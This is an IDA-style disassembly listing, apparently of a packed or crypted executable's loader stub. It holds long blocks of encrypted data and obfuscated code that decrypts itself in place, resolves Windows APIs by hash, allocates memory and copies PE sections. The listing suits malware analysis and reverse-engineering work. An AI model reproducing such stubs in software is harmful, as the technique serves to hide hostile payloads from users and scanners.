		dd 1AF3DCE3h, 0C7CE419Dh, 0CDEDFC12h, 970AE808h, 5CCD56B6h
		dd 5F854C85h, 68B35478h, 0BFD54622h, 0EDE8CDE6h, 9E000002h
		dd 0AF16CE43h, 0F9DC000Fh, 0E51034CFh, 0FCDB0104h, 2F0537D0h
		dd 0E225C5F2h, 0DA319B3Ah, 0F118C322h, 0CA43AC4Bh, 4C07B012h
		dd 23958931h, 8C7739AEh, 5275A760h, 0C079A06Dh,	9685EA93h
		dd 3DBA6729h, 0B2676EA1h, 8C7C929Ch, 0B7587863h, 27AE6336h
		dd 111B8A82h, 1D4D23DAh, 954449BCh, 923BBA5Ch, 9139C67Bh
		dd 0B156E076h, 0BC3F865Bh, 2AFFF60Fh, 0A869BDC2h, 3AFA779Fh
		dd 1539F088h, 0A114F9D6h, 0A7119F09h, 4980595Ch, 6D4E6990h
		dd 0B2441598h, 8E8A039Fh, 4449362Fh, 1C917863h,	0C728B11Bh
		dd 8A0A8B46h, 54FFAFBBh, 239C8729h, 2A30F9A6h, 0D8F5F7E3h
		dd 0BD30D703h, 45FC25ECh, 9C876316h, 0BC23E023h, 0DA54FA13h
		dd 77A2F86Eh, 95ACF2DCh, 3D9ECD29h, 770211C8h, 0F41DA362h
		dd 0ECCBC207h, 0E8CF0A03h, 0FEE70708h, 0B538D3F9h, 22CB0AB2h
		dd 0FA2FEAEBh, 0ECFA15F3h, 967E3B32h, 0A9FD99C0h, 906F7F4Ah
		dd 0AB13AC42h, 0B84F7B64h, 65CCA96h, 31AE26DBh,	38AC7C88h
		dd 0C1BC5782h, 3E1DA338h, 309AAD41h, 46239C5Eh,	0F6F712B9h
		dd 13552833h, 0D5D217AAh, 502FA1Ch, 19D7F8DFh, 2699A31Ah
		dd 0A95A80DAh, 0C970A960h, 0A989EF8Ah, 5B7D6C17h, 14CD61A8h
		dd 99866A55h, 0A989FF7Ah, 4A7F7C17h, 63A645A4h,	0A5688572h
		dd 62A14730h, 0D905026Bh, 0CC40FD05h, 1ABAE6AFh, 0C12790C1h
		dd 14DAC42h, 742EC22Bh,	4E27311Fh, 84B468A1h, 0A611C812h
		dd 532C449h, 2356053Ch,	0A017AA0Dh, 0AAA8ABC6h,	0FA2F20A3h
		dd 0A72EE1FDh, 0B5E95CF2h, 0E81DA311h, 0BA0E063Bh, 4CC11E27h
		dd 40E4F668h, 8D3235AEh, 0B08D0D80h, 0E5AFCA89h, 6F2C11B0h
		dd 7C3220DFh, 60FAB98h,	746B368Fh, 1BCEBF48h, 0A1F96FFBh
		dd 484BC178h, 9F5227B6h, 1D81C46Ah, 5017AA71h, 9DB0E036h
		dd 0F33EB6B2h, 0EBCFE851h, 0D037A31Ch, 51B4223Eh, 89A571C6h
		dd 3FFA2F01h, 69143FFAh, 0E60BB801h, 4F5DD339h,	2F0C23EAh
		dd 0E3C2C1Fh, 26E311B9h, 2DD604FBh, 0B319E009h,	4FB4C6CBh
		dd 48A747D0h, 17BE66A7h, 0AD5657B6h, 5A622F56h,	0F6F718B8h
		dd 0C23DC8F1h, 6BE9EC19h, 9D904E9Ch, 11F8E3DCh,	0EBD2CD9Ch
		dd 0DD09F81Eh, 522BE811h, 0CFB10B12h, 10AD3CD2h, 12BB44FDh
		dd 0B81FFAFBh, 2900F516h, 23CC2B05h, 0CE46E3EAh, 658C4FE1h
		dd 5E8DA1FAh, 7B51887Dh, 5AAFBE60h, 6A9B40C0h, 0DB7BB663h
		dd 42C52512h, 0C6DAE4Bh, 89B10B71h, 53BA239Ch, 0F7E3C262h
		dd 0EEFC1327h, 0F615B740h, 0AF2C9160h, 20F9FC0Bh, 0FCDC30E9h
		dd 0DD30558Ch, 0C92C0628h, 1E4E924h, 20h, 0FDA4D438h, 0ADEEE9Dh
		dd 0AFF3049h, 39F0ADB1h, 31CE1F15h, 36F7F8Ah, 0F21DC13Eh
		dd 32082EFBh, 29AC658Ch, 696CA13Eh, 23AA5F7Eh, 7C719A44h
		dd 35B84F7Bh, 787D8A32h, 3ABB4A6Fh, 75788B2Dh, 0CCC14E72h
		dd 7BE2681Bh, 4890000h,	79A46824h, 34890000h, 3A896824h
		dd 1C890000h, 5FFEBE24h, 0DEF709D6h, 8102EEC1h,	745024CEh
		dd 54C68170h, 8133603Bh, 31C78EEh, 25BA525Ah, 8144F822h
		dd 0FB7FBDC2h, 8E2C17Eh, 81D2F74Ah, 0EB41EAEAh,	48F2813Bh
		dd 17ED790h, 0EC815AD6h, 4, 83242489h, 5B042404h, 89F28952h
		dd 148B0853h, 4C48324h,	56241C8Bh, 0C681E689h, 4, 8704C683h
		dd 8B5C2434h, 89522434h, 4C281E2h, 81000000h, 4C2h, 24148700h
		dd 7E70E95Ch, 414FFFF8h, 6CBD1310h
; ---------------------------------------------------------------------------


loc_5EB690:				; CODE XREF: .XComp0:loc_5E989Cj
		mov	eax, 6010000h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 5Bh,	0Eh, 0C8h
		dd 1F771D10h, 0E4166627h, 0EBED4634h, 0AC460D2Bh, 53D7D28h
		dd 710D9D33h, 11E81Fh, 3D790000h, 6C07EC38h, 1C5CA77Ah
		dd 7189829Bh, 8B829C94h, 0B70F5FD1h, 93C781C0h,	0B600006Bh
		dd 9437B9E4h, 0F181740Eh, 740E8E8Ch, 8B3FEE80h,	81D78B37h
		dd 0DFAA0BC6h, 0FE930h,	9CE30000h, 34FF5483h, 0B2C715D7h
		dd 4463380Ah, 36C68111h, 605BD04Ch, 5E8h, 0F1153100h, 0BB66933Ah
		dd 665B0FB9h, 61B37FBAh, 1D06EE81h, 0FE8208Ah, 0B5000000h
		dd 9DBE44AAh, 71AF50FCh, 3BE85EC2h, 7E8EC55h, 7C000000h
		dd 22D1996Ch, 8A0FB53Ch, 0
		dd 37895858h, 8347CC80h, 816604EFh, 49AA79EBh, 0FF85850Fh
		dd 0F480FFFFh, 0D8D8DBFh, 6A060102h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 1D77C356h
		dd 9531D3EAh, 5F90D5Dh,	8D89DF8Bh, 5F90CDDh, 18BD9589h
		dd 85C705F9h, 5F926C1h,	5DECh, 52D08166h, 0FD85C770h, 5F900h
		dd 8B000000h, 0F903919Dh, 0DDB5FF05h, 8B05F916h, 0D595FFD7h
		dd 6A05F920h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0FCE6C357h, 9D2957D3h,	5F92CE1h
		dd 6AF0BF0Fh, 0ED95FF00h, 8B05F91Ah, 0DE4BEBC0h, 0EEC9817Fh
		dd 4714745Dh, 9730996Dh, 6E28F558h, 5BAC05D8h, 0C2C4B495h
		dd 50A51B3h, 755D8986h,	0B126B7CAh, 1549099Ch, 0C8AC0479h
		dd 6D49B13Dh, 91F2B45Bh, 7B67DBCh, 54BFDC46h, 29AE22DBh
		dd 0EF108D68h, 2FC19596h, 0DE8B6EBh, 2D000000h,	3A9F5D9Bh
		dd 717948B1h, 0C32E7DE4h, 5BCEBF0Fh, 0CE9h, 25E91B00h
		dd 890E7BFh, 0C168BDF7h, 0A4C38184h, 0F00006Bh,	68Dh, 15958900h
		dd 3305F90Ch, 898D0BD2h, 8B05F913h, 8D891334h, 5F9292Dh
		dd 0FF7BF681h, 0E58A21F1h, 76BCC681h, 0BD89308Fh, 5F90FEDh
		dd 628FEE81h, 56FC0F10h, 0AE8h,	9D2D9200h, 573ABD29h, 8BDDEF7Dh
		dd 0F914DD8Dh, 48F5F05h, 0C8816613h, 858B0170h,	5F925D9h
		dd 0F04EA83h, 0FA81FFB7h, 0FFFF94F0h, 0FFA5850Fh, 8DF5FFFFh
		dd 1042C8Dh, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 17E15EEDh, 89C0BF0Fh, 0F90CDD8Dh
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0F71C8C0h, 38Eh,	28C08000h, 14870Fh, 0FE90000h
		dd 2B000000h, 379AB084h, 3BA480A9h, 594BA251h, 85C7EC1Dh
		dd 5F926C1h, 719Ch, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 88C35040h, 2C072CCAh,	0E40C3E92h, 33C59589h
		dd 0B58905F9h, 5F91935h, 7E960h, 30C60000h, 20CB4C3Ah
		dd 0E3816613h, 0C7613178h, 0F900FD85h, 5, 0E9B5FF00h, 6A05F932h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0B66BC355h, 0D68B7575h, 20D595FFh, 6A05F9h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0A7F198C3h, 1C29DA1Dh, 0F609CD6h, 285h, 66595100h, 2E20DB81h
		dd 0C8816661h, 6AB37Eh,	1AED95FFh, 0C08B05F9h, 431C1EEBh
		dd 91199EFCh, 83C90C99h, 0EA2B20B3h, 0A44CADD1h, 752945D7h
		dd 1F40BBFEh, 0FBD4C596h, 9E8h,	996D4700h, 0F5589730h
		dd 8A0F6E28h, 8, 5D9D0360h, 6105F920h, 0FADF8058h, 75A7C081h
		dd 9D8B0000h, 5F914B9h,	36D118BEh, 24C68131h, 8BCEC94Ch
		dd 0F927F1BDh, 6030FF05h, 131D9D89h, 820F05F9h,	2, 59615856h
		dd 68C0Fh, 9D8B0000h, 5F93241h,	0D4C5E981h, 830F233Dh
		dd 6, 150D9529h, 0C18105F9h, 0D1B7E16h,	0CE9h, 81810700h
		dd 0E0FD647Bh, 0F1E8A44Fh, 1DF18197h, 8A0D10A6h, 0F0889DEh
		dd 485h, 0D88B5100h, 1E8835Ah, 9E9h, 8B616C00h,	0BA2DF1FEh
		dd 4848AC15h, 0E9B52948h, 4E05F91Eh, 0FF83850Fh, 8A0FFFFFh
		dd 0
; ---------------------------------------------------------------------------
		jmp	loc_5EBB11
; ---------------------------------------------------------------------------
		db 0DAh, 0A7h, 2Bh
		dd 49h,	2 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5EBB11:				; CODE XREF: .XComp0:005EBAFCj
		jmp	loc_5EC146
; ---------------------------------------------------------------------------
		push	601067Fh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	6010727h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	60108EAh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		dd 0B567AA45h, 0BB61AE12h, 0AF55AE1Ch, 0BA62A348h, 0A458AF1Bh
		dd 7864138Eh, 648A6D8Fh, 6B5275A7h, 5E7F669Eh, 92678DAFh
		dd 9580F881h, 30D07523h, 72A7608Ch, 897CD9Ah, 9EB0E846h
		dd 0AF1BA445h, 8E7D5F58h, 2DBC5207h, 93C77D90h,	9507C005h
		dd 2CC6A482h, 4A7F4AC3h, 0D0A96A8Fh, 4D299586h,	0E271BE50h
		dd 2F8EB1E4h, 0AD1FDAC7h, 51E09CD3h, 0E90DCBh, 9BCB2653h
		dd 0D039A423h, 14F1DADDh, 2F3B0CA1h, 7C50E96Fh,	3939BCD0h
		dd 50324215h, 0E1DF6448h, 1A48B757h, 0D5F9B02Ch, 4077548h
		dd 0F1CF0000h, 193AFFA7h, 29968560h, 5AF920DDh,	2996851Fh
		dd 134FDF9Ch, 77A45D85h, 2F8F9E9Bh, 0EF0831EEh,	28193DCCh
		dd 855F1BF1h, 0A4B66A78h, 3D33BF92h, 0F6012102h, 31DC01D8h
		dd 1224F5F8h, 5F9AC056h, 7100799Ah, 807D2637h, 9478C16Eh
		dd 0CDA0A421h, 807E727h, 741A2DC1h, 0C72C303Fh,	0D147D3DAh
		dd 20C35089h, 0D126372Ch, 2DD42DD4h, 44B78BEEh,	0F02B081Ah
		dd 1A44B78Dh, 42D41D0Ah, 0DE030AB3h, 0FE10FBE1h, 0E12C9134h
		dd 73F31F12h, 81648DBBh, 457h, 0BD5FB20Dh, 0A359B61Ah
		dd 0B76D9644h, 0A25AAB10h, 0CC709743h, 507C3B76h, 7C6285B7h
		dd 638A6D8Fh, 76577EA6h, 0BA7F6597h, 957FE099h,	48E85D23h
		dd 83169FFh, 0E126C631h, 36193DECh, 2F978A57h, 0AD4AEFACh
		dd 20F9FC0Fh, 801F5AF9h, 0DF9C2395h, 0A017E24Fh, 0EED2CD3Eh
		dd 0FEDE0D21h, 7E7D009h, 0EB4CE608h, 80740516h,	34F12395h
		dd 20E7D322h, 2ADFFEF9h, 4AFFD9A3h, 0D446DA3Ch,	49F0F91Dh
		dd 1FC910AEh, 46092DE4h, 2395672Eh, 0E5DF11AEh,	996C4D4Dh
		dd 0DAD39033h, 15DC15F2h, 233F61C6h, 231223B2h,	3AFh, 55878A65h
		dd 1BC14E72h, 4FF50EBCh, 1AC243A8h, 44F80FBBh, 0D804B3EEh
		dd 4EA0D2Fh, 0CBF2D507h, 0FEDF063Eh, 3207ED0Fh,	957E5821h
		dd 0D070D523h, 828D31CEh, 0ACB85E0Bh, 7500C33Ah, 0D341995Fh
		dd 0BEF1E31Eh, 55AB6D6Dh, 77A491A5h, 2F972B1Ah,	7E3BB26Fh
		dd 0AAD80B96h, 0EB0B2ABFh, 94FB1168h, 0DC2B8F23h, 17ECCED9h
		dd 3548D396h, 0B22394FBh, 429077F5h, 5D89849Ch,	2ED3F769h
		dd 247B04Bh, 748B0000h,	92FBF48h, 23AA638Ch, 0A08C8E86h
		dd 0B064A859h, 6D6E4F9Eh, 6138BD50h, 8BC871A8h,	299634F2h
		dd 929CB26Fh, 0C6A29F75h, 8ACA3E2Dh, 0AD4CF022h, 62F427DCh
		dd 8F4A9006h, 8F1ABE84h, 82E8EC2Fh, 0ECB28FEDh,	3F3CB45Ah
		dd 6239329Ah, 0B703BF44h, 0C3A8D182h, 7825239Ch, 0EF860DD6h
		dd 0CE239CC3h, 815B2B37h, 5548D69Bh, 45E1CA7Fh,	7E90B3E8h
		dd 3FA2h, 1E977D00h, 4E0899EDh,	0FFF83ED0h, 0EF083169h
		dd 0E1B83DCCh, 0FB33E04Dh, 162F8F97h, 9ADF6469h, 79239D72h
		dd 739237C0h, 84AA638Ch, 0C39D6975h, 9348D64Eh,	5045BE2Ch
		dd 0F9A97599h, 7B000000h, 23AA638Ch, 7E6F9844h,	80B95479h
		dd 3FB65577h, 1C1BC46Ah, 0D0A96AB3h, 4D299685h,	0C6639950h
		dd 0C667CC4Eh, 9637E495h, 50A46129h, 809645F0h,	964A86CDh
		dd 34A74829h, 70777E87h, 0BF0ABF50h, 0D503FC1Dh, 0CA5C082Eh
		dd 69906990h, 9640CFAAh, 66A94529h, 5744BA6Fh, 31D694B7h
		dd 8C792F92h, 0A513AC55h, 9139B85Eh, 4E69CE76h,	8485686Fh
		dd 68915811h, 9A4FD2ABh, 0BC524F23h, 997A8D2Dh,	0B1DE0BFAh
		dd 0EC06EF00h, 0A2000001h, 0CB2AD23Fh, 8D38EC23h, 0C124D82Bh
		dd 9037ED18h, 0B29DB2Ch, 601E996h, 36D5F7DEh, 504E70Eh
		dd 36D7F8DFh, 813E40Eh,	23957D75h, 0CEBB7DF2h, 0D87E8931h
		dd 1C39B119h, 91CB57DBh, 2BA15891h, 0E172B36Ah,	2995B398h
		dd 7D846815h, 5BD5795Eh, 89CA537Ch, 29961EF0h, 0F57C1A7Bh
		dd 22847A9Ch, 8F78AC65h, 5946C728h, 0BB819570h,	23AA638Ch
		dd 0CA729B44h, 0A06D526Dh, 1E44D28Eh, 0DCE31EE3h, 0C39617F0h
		dd 96854538h, 31C5C229h, 8FD43F1Eh, 0D207F42Fh,	8C0104E5h
		dd 45FC39DDh, 958FDACFh, 3B8D4D2Eh, 0C712B85Fh,	52A1B57Ch
		dd 9D649D6Ah, 9D76FB7Eh, 568B7823h, 9D76B4C5h, 0E2743123h
		dd 0C98AAF58h, 239D76B0h, 0AD90532Dh, 0AAAD22AFh, 0FD7CCF5Fh
		dd 0BD239CACh, 0E5DE5A57h, 0A23E24C8h, 6392A46Dh, 5F7C617Ah
		dd 50098C7Bh, 49AC5099h, 808934A1h, 0F0614449h,	98000000h
		dd 0E9559034h, 93A3048Dh, 3169FFADh, 40CFEF08h,	81B881AEh
		dd 9685A7D2h, 0D7772429h, 978B1974h, 489762Fh, 0B153BA23h
		dd 7164A946h, 0C02D33E2h, 0C24D7172h, 0B04ECCBh, 3624138Ah
		dd 0FD44E568h, 8ACE2D17h, 46D51B3Dh, 0D46ADB33h, 0A463F3B0h
		dd 9814F8B6h, 47BD2117h, 47552833h, 0D5D2D46Bh,	0D2FBFA1Ch
		dd 203B063Bh, 0D46B475Dh, 0EB22DDAh, 0E643ED01h, 477D001Bh
		dd 0DFAD46Bh, 28E50AE9h, 0D1FB04A5h, 0F4D5143Ah, 890CFBDFh
		dd 0C1D6FCD0h, 9AE60233h, 0C44FAA4Fh, 0D46AF5B9h, 3CA54936h
		dd 302BA19Eh, 0BA3B7F8Dh, 25EA06F1h, 0A655F9B0h, 104BF6B8h
		dd 0D46ADA6Dh, 0DA193DEAh, 7B1FFBF5h, 809696F8h, 2D3C9049h
		dd 0AFCA89DDh, 2CD46AADh, 34BB9D6Fh, 0B0172135h, 0BC43FE0Fh
		dd 2AFFF60Fh, 0A11EDB04h, 0AB3CD23Dh, 3, 8C390F15h, 3E29AC65h
		dd 7E696CA1h, 4423AA5Fh, 7B7C719Ah, 3235B84Fh, 6F787D8Ah
		dd 2D3ABB4Ah, 7275788Bh, 1BCCC14Eh, 57E28952h, 4BFh, 5FFA0100h
		dd 8704EA83h, 685C2414h, 7094h,	68240489h, 5D6Bh, 68241C89h
		dd 6010547h, 8124048Bh,	4C4h, 1C8B5400h, 4C48324h, 8904EC83h
		dd 438F2404h, 2434FF08h, 4C4815Bh, 0FF000000h, 83582434h
		dd 0BBE904C4h, 2FFFF873h, 0B76823E3h
; ---------------------------------------------------------------------------
		xor	al, 6Fh


loc_5EC146:				; CODE XREF: .XComp0:loc_5EBB11j
		mov	eax, 6010AFBh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 6
		dd 8F0A0A6Ah, 314F904h,	0E8514A85h, 6647AA8Ah, 7B04B697h
		dd 0E873A1D0h, 13h, 0B045CC0Ah,	0CFD01355h, 6A264E42h
		dd 0F27852BFh, 0E9072FADh, 14h,	88F054Dh, 98859DCh, 7FF140CDh
		dd 0C50A113Ah, 84E8A1D0h, 9CBF6659h, 7BC1816Ah,	6600005Bh
		dd 0B016EF81h, 16B568h,	0B561BB00h, 0E95E390Ah,	0Dh, 96AD8303h
		dd 182578BBh, 943CF3B8h, 66118BB9h, 0C281C38Bh,	5523D28h
		dd 4BAFCEB8h, 0B7EA8114h, 57126006h, 815886B0h,	0B88A74C2h
		dd 81118905h, 0ECC615C8h, 1E98327h, 13E9h, 0D00F7400h
		dd 8E4D4E0Bh, 0E68112B6h, 0D6D2CF60h, 2A5360BAh, 66494949h
		dd 0EE83DA8Bh, 0AE850F01h, 0E8FFFFFFh, 5, 922D9960h, 5830F95h
		dd 0BF000000h, 74BA9A1h, 0FBBF525Ah, 5B7EDDF1h,	74C5C281h
		dd 0B9660000h, 680CAFh,	0BB000000h, 5ED227DDh, 138A0F5Eh
		dd 0E9000000h, 0Eh, 14B4655Dh, 0B1220407h, 9DB7C7C0h, 34FF507Bh
		dd 58595716h, 6820Fh, 0E1810000h, 5A0525Eh, 0B5A2C081h
		dd 81533C3Eh, 9516F0EFh, 0C0815F19h, 4E3C916h, 1CF081F9h
		dd 0F5685FA7h, 5890F50h, 66000000h, 0B01AEF81h,	0F32048Fh
		dd 0EE83FBB7h, 75B35202h, 664E4E5Bh, 0FE81D98Bh, 0FFFF8C10h
		dd 20850Fh, 840F0000h, 0Ch, 6800Fh, 830F0000h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5EC2F5
; ---------------------------------------------------------------------------
		db 61h,	83h, 4Bh
		dd 3A9CACB8h, 8166B210h, 0E9CD86E3h, 0FFFFFF7Eh, 0E309263Fh
		dd 9C4DC455h, 61C232C5h, 8EE85B81h
		db 0EBh
; ---------------------------------------------------------------------------


loc_5EC2F5:				; CODE XREF: .XComp0:005EC2CCj
		call	sub_5EC30B
		push	cs
		mov	cl, 0F4h
		jnp	short near ptr loc_5EC325+3
		xchg	eax, ebx
		jp	short near ptr dword_5EC150+156h
		jnz	short loc_5EC30F
		jge	short near ptr dword_5EC150+171h
		cdq
		push	es
		db	67h
		lock out dx, al

; =============== S U B	R O U T	I N E =======================================



sub_5EC30B	proc near		; CODE XREF: .XComp0:loc_5EC2F5p
		push	edx
		mov	dx, bx


loc_5EC30F:				; CODE XREF: .XComp0:005EC302j
		pop	edi
		pop	esi
		cmc
		add	esi, 6554h
		push	edx
		push	ebx
		pusha
		popa
		pop	edi
		pop	eax
		push	192Dh
		cmc
		pop	ecx


loc_5EC325:				; CODE XREF: .XComp0:005EC2FDj
		jmp	loc_5EC33E
; ---------------------------------------------------------------------------
		dw 0D6E6h
		dd 8DC10376h, 0C20AFC6Fh, 352129C9h, 2D4A619Dh
		db 5, 0AFh
; ---------------------------------------------------------------------------


loc_5EC33E:				; CODE XREF: sub_5EC30B:loc_5EC325j
					; sub_5EC37A+1Ej
		mov	ebx, [esi]


loc_5EC340:				; CODE XREF: sub_5EC30B+5Cj
		mov	edx, esi
		add	ebx, 7DA7E3D2h
		jnz	loc_5EC350
		mov	dh, 87h


loc_5EC350:				; CODE XREF: sub_5EC30B+3Dj
		xor	ebx, 45C34629h


loc_5EC356:				; CODE XREF: .XComp0:005EC378j
		jno	loc_5EC37B
		ja	loc_5EC37B
		call	sub_5EC37A
		jmp	short loc_5EC340
sub_5EC30B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 12h,	38h, 0DBh
; ---------------------------------------------------------------------------
		inc	esi
		push	552200E0h
		or	eax, 3E61C90Ah
		inc	ecx
		jno	short loc_5EC356

; =============== S U B	R O U T	I N E =======================================



sub_5EC37A	proc near		; CODE XREF: sub_5EC30B+57p
		pop	edi


loc_5EC37B:				; CODE XREF: sub_5EC30B:loc_5EC356j
					; sub_5EC30B+51j
		add	ebx, 269AD0C4h
		push	ecx
		pop	edi
		mov	[esi], ebx
		cld
		sub	esi, 0CBD402Ch
		add	esi, 0CBD4028h
		sub	ecx, 1
		jnz	loc_5EC33E
		mov	eax, eax
		cmp	dword ptr [ebp+5F931C9h], 0
		jnz	short loc_5EC3B2
		cmp	dword ptr [ebp+5F912B5h], 0
		jz	short loc_5EC3CB


loc_5EC3B2:				; CODE XREF: sub_5EC37A+2Dj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 421h
		mov	[ebp+5F928E9h],	eax
		lea	ebx, [ebp+5FBF384h]
		call	ebx
		pop	ebx
		pop	eax


loc_5EC3CB:				; CODE XREF: sub_5EC37A+36j
		cmp	dword ptr [ebp+5F912B5h], 0
		jz	short loc_5EC3EB
		push	eax
		push	ebx
		mov	eax, 421h
		mov	[ebp+5F928E9h],	eax
		lea	ebx, [ebp+5FBF073h]
		call	ebx
		pop	ebx
		pop	eax


loc_5EC3EB:				; CODE XREF: sub_5EC37A+58j
		mov	eax, eax
		mov	ebx, [ebp+5F914CDh]
		mov	byte ptr [ebp+5F91899h], 56h
		push	9CA8B852h
		push	dword ptr [ebp+5F908D1h]
		lea	eax, [ebp+5FCC510h]
		call	eax
		push	4
		push	1000h
		push	dword ptr [ebp+5F90591h]
		push	0
		call	eax
		test	eax, eax
		jnz	loc_5EC433
		mov	eax, 0
		lea	ecx, [ebp+5F97285h]
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5EC433:				; CODE XREF: sub_5EC37A+A6j
		mov	ecx, eax
		mov	eax, ebx
		add	eax, [eax+3Ch]
		add	eax, 0F8h
		mov	edx, [eax+0Ch]
		add	edx, ebx
		cmp	dword ptr [ebp+5F92129h], 0
		jz	loc_5EC45F
		mov	ebx, [ebp+5F92129h]
		mov	eax, [ebp+5F90B41h]
		mov	[ebx], eax


loc_5EC45F:				; CODE XREF: sub_5EC37A+D1j
		push	ecx
		push	edx
		lea	eax, [ebp+5F94346h]
		call	eax
		mov	edi, edx
		mov	esi, ecx
		mov	edx, ecx
		mov	ecx, eax
		rep movsb
		mov	byte ptr [ebp+5F91899h], 56h
		push	0D41F6D39h
		push	dword ptr [ebp+5F908D1h]
		lea	eax, [ebp+5FCC510h]
		call	eax
		push	8000h
		push	0
		push	edx
		call	eax
		mov	eax, eax
		cmp	dword ptr [ebp+5F931C9h], 0
		jnz	short loc_5EC4AB
		cmp	dword ptr [ebp+5F912B5h], 0
		jz	short loc_5EC4C4


loc_5EC4AB:				; CODE XREF: sub_5EC37A+126j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 421h
		mov	[ebp+5F915DDh],	eax
		lea	ebx, [ebp+5FBF3EBh]
		call	ebx
		pop	ebx
		pop	eax


loc_5EC4C4:				; CODE XREF: sub_5EC37A+12Fj
		cmp	dword ptr [ebp+5F912B5h], 0
		jz	short loc_5EC4E4
		push	eax
		push	ebx
		mov	eax, 421h
		mov	[ebp+5F915DDh],	eax
		lea	ebx, [ebp+5FBF08Ch]
		call	ebx
		pop	ebx
		pop	eax


loc_5EC4E4:				; CODE XREF: sub_5EC37A+151j
		mov	eax, eax
		lea	ebx, [ebp+5F92129h]
		mov	eax, [ebx]
		or	eax, eax
		jz	loc_5EC4FD
		mov	eax, [ebx]
		mov	ebx, [ebx+4]
		mov	[eax], ebx


loc_5EC4FD:				; CODE XREF: sub_5EC37A+176j
		mov	eax, 4B41h
		call	near ptr loc_5EC511+1
		adc	dword ptr [edx-236BCE9Fh], 245E66A5h


loc_5EC511:				; CODE XREF: sub_5EC37A+188p
		fimul	word ptr [edi]
sub_5EC37A	endp ; sp-analysis failed

		mov	ebx, [eax+eax]
; ---------------------------------------------------------------------------
		dw 0
		dd 10E8h, 7B1C3C00h, 0ECC95FB1h, 722EEAC6h, 0CBE05984h
		dd 870FF4h, 59000000h, 81FEB15Fh, 0D931C7h, 28F0F00h, 0B2000000h
		dd 68C9h, 13E80000h, 8D000000h,	7D2FC3D6h, 2EADCB77h, 66D37DB3h
		dd 0BA4332ACh, 59F526CBh, 3830F5Eh, 0F000000h, 48BD3B7h
		dd 9CFBB37h, 0C0815EF6h, 0AD4E4A1h, 6800Fh, 0EB810000h
		dd 502FA219h, 0A8D4E881h, 0BF0F4383h, 27E881D3h, 66215312h
		dd 50C0E4BAh, 0D844DB9h, 37048F02h, 0E9D3BF0Fh,	13h, 0E7294760h
		dd 375BE66Ah, 5ED52280h, 0CBA2D119h, 8384B0AEh,	0CE804EEh
		dd 64000000h, 4A26AE69h, 0DE2805CCh, 66138B04h,	93C6C981h
		dd 0D0FE815Bh, 0FFFFF27h, 1285h, 0D0B70F00h, 1FE9h, 25FE5700h
		dd 7FA5C74Eh, 8036394Eh, 6FE961F3h, 55FFFFFFh, 0A2DE9EFBh
		dd 2F8365E2h, 0D06E90BDh, 12C80CEBh, 0FD8F2F32h, 31A7620Bh
		dd 0DFE92CC5h, 0E9000008h, 8D3h, 65977A55h, 8BB15E82h
		dd 5F857E6Ch, 8AB25378h, 54887F6Bh, 0A81443BEh,	0B41ABD5Fh
		dd 9B42A557h, 0AE0FB66Eh, 6217BD5Fh, 9575C8B1h,	0D9A04523h
		dd 758AF320h, 1A072395h, 638C3EF4h, 5A9D6FAAh, 0A5C27974h
		dd 383FA84Eh, 179D5795h, 75474B9Ah, 6841B457h, 5BB168A1h
		dd 8E6F65Ch, 5874B103h,	3641AA4Ch, 0B7827398h, 36F00D55h
		dd 0A2CEE66h, 0D108FFEBh, 9377A428h, 0E3BB422h,	962B8CEDh
		dd 0FA1C0929h, 62F148F1h, 29962B17h, 0A847E794h, 0DC279144h
		dd 0B1AC00D9h, 496600C6h, 0A38409C0h, 8D2ACF36h, 5D4D92Ch
		dd 0C9EFF8F1h, 9C242F1Dh, 39F0C9F6h, 40BB3B4h, 538F1991h
		dd 0AB296DAEh, 10A72F96h, 40B85EAFh, 25A75243h,	2708499Bh
		dd 0B03FCF24h, 0E643F90Ah, 447D001Bh, 0C8F32395h, 8EA05D41h
		dd 38A795Fh, 946F5966h,	54EACF82h, 695E4CC5h, 9D496F7Dh
		dd 2C24ABA7h, 0C72592BFh, 51985144h, 0F129BFABh, 9E930B48h
		dd 0B4CE0065h, 0AD260B5Bh, 0C9CC05AFh, 0CF0AFFDEh, 0F49617FDh
		dd 48EE7628h, 25E407EEh, 775F18FCh, 0E295885Ah,	8AF0934Ch
		dd 7C586CADh, 0D7857BDh, 5886F2C7h, 0BB5B9677h,	0AF0E1E4Ch
		dd 20B6A25Ah, 2CCD3FFAh, 808D327Bh, 5C785C0Dh, 0E891C2A1h
		dd 65905890h, 50DD71B8h, 519697C3h, 28AD5A96h, 5F8ADE9Bh
		dd 452BD8Ah, 4B1A626Ah,	16AAEE03h, 0E7510B00h, 9A25D219h
		dd 0C245A534h, 0E2D31ECBh, 203BE707h, 6000000h,	0BF5D203Bh
		dd 2DDA8A5Fh, 73CE3309h, 26A7608Ch, 8595E873h, 15122996h
		dd 5CDF001h, 0CE500000h, 0A9628C73h, 9685EF8Ah,	5C7D6C29h
		dd 0BC7524A9h, 67705B9Ah, 964B8685h, 0AC82E13Eh, 6B8B4B43h
		dd 0D182B782h, 29961BA8h, 5E7F7825h, 0CB6B3EAFh, 9C45BE2Ch
		dd 6154BB23h, 0F7D6688h, 3944CF2Ah, 0B629961Bh,	88D625C9h
		dd 0A4A9EEE6h, 0CDC04F6Fh, 325B81Ch, 0AF0EDD71h, 7A85A25Ah
		dd 0E396C552h, 60299603h, 95676EA3h, 5FC879FBh,	3CD21700h
